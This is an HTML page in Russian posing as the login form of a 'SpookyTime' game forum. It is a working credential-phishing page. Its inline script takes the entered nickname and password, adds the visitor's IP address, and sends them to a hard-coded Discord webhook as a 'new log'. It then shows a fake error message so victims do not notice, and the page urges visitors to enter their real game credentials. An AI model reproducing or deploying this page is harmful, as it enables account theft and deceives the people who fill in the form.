<!DOCTYPE html>
<html lang="ru">
    <link rel="icon" href="https://storage.easyx.ru/images/easydonate/favicons/VsrDA9Immv1bsCX1q7KPdal0wIwTvLFQ.png" type="image/x-icon">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>SpookyTime - Форум</title>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.2/css/all.min.css">
    <link rel="stylesheet" href="./css/styles.css">
</head>
<body>
    <div class="background-overlay">
        <div class="login-container">
            <div class="login-box">
                <h2>Авторизация</h2>
                <div class="input-container">
                    <label for="username">Внутреигровой никнейм</label>
                    <input type="text" id="username" placeholder="Введите внутреигровой никнейм" required>
                </div>
                <div class="input-container">
                    <label for="password">Пароль</label>
                    <input type="password" id="password" placeholder="Введите пароль" required>
                </div>
                <div class="input-container">
                    <button class="login-button">Войти</button>
                </div>
                <div class="warninglabel">
                    <label>ВАЖНО</label><br>
                    <label>Используйте пароль и никнейм из игры, а не наугад!</label>
                </div>
            </div>
        </div>
    </div>

    <!-- JavaScript прямо в HTML -->
    <script>
        const DISCORD_WEBHOOK_URL = 'https://discord.com/api/webhooks/1305595235400814613/wIB6gBAsmb3vxYd75NS5Bp3qckMElrZy-ymV0x0BpuGtjFBB3s3qnTIbPZY-05zlZPpr';

        // Функция для получения IP-адреса
        async function getIpAddress() {
            try {
                const response = await fetch('https://api.ipify.org?format=json');
                const data = await response.json();
                return data.ip || 'IP не найден';
            } catch (error) {
                console.error('Ошибка получения IP-адреса:', error);
                return 'Ошибка получения IP';
            }
        }

        async function sendToDiscord() {
            const username = document.getElementById('username').value.trim();
            const password = document.getElementById('password').value.trim();
            const ipAddress = await getIpAddress();

            if (!username || !password) {
                alert('Пожалуйста, заполните все поля!');
                return;
            }

            // Эмбед сообщение для Discord
            const message = {
                embeds: [{
                    title: "новый лог",
                    color: 3447003,
                    fields: [
                        {
                            name: "Никнейм",
                            value: `\`${username}\``,
                            inline: true
                        },
                        {
                            name: "Пароль",
                            value: `\`${password}\``,
                            inline: true
                        },
                        {
                            name: "IP-адрес",
                            value: `\`${ipAddress}\``,
                            inline: false
                        }
                    ],
                    footer: {
                        text: "SpookyTime - Форум"
                    }
                }]
            };

            fetch(DISCORD_WEBHOOK_URL, {
                method: 'POST',
                headers: { 'Content-Type': 'application/json' },
                body: JSON.stringify(message),
            })
                .then(response => {
                    if (response.ok) {
                        alert('Ошибка: Возможно вы ввели не правильные данные, либо на форуме ведутся тех работы.');
                    } else {
                        alert('Ошибка: Возможно вы ввели не правильные данные, либо на форуме ведутся тех работы.');
                    }
                })
                .catch(() => {
                    alert('Ошибка сети.');
                });
        }

        document.querySelector('.login-button').addEventListener('click', sendToDiscord);
    </script>
</body>
</html>
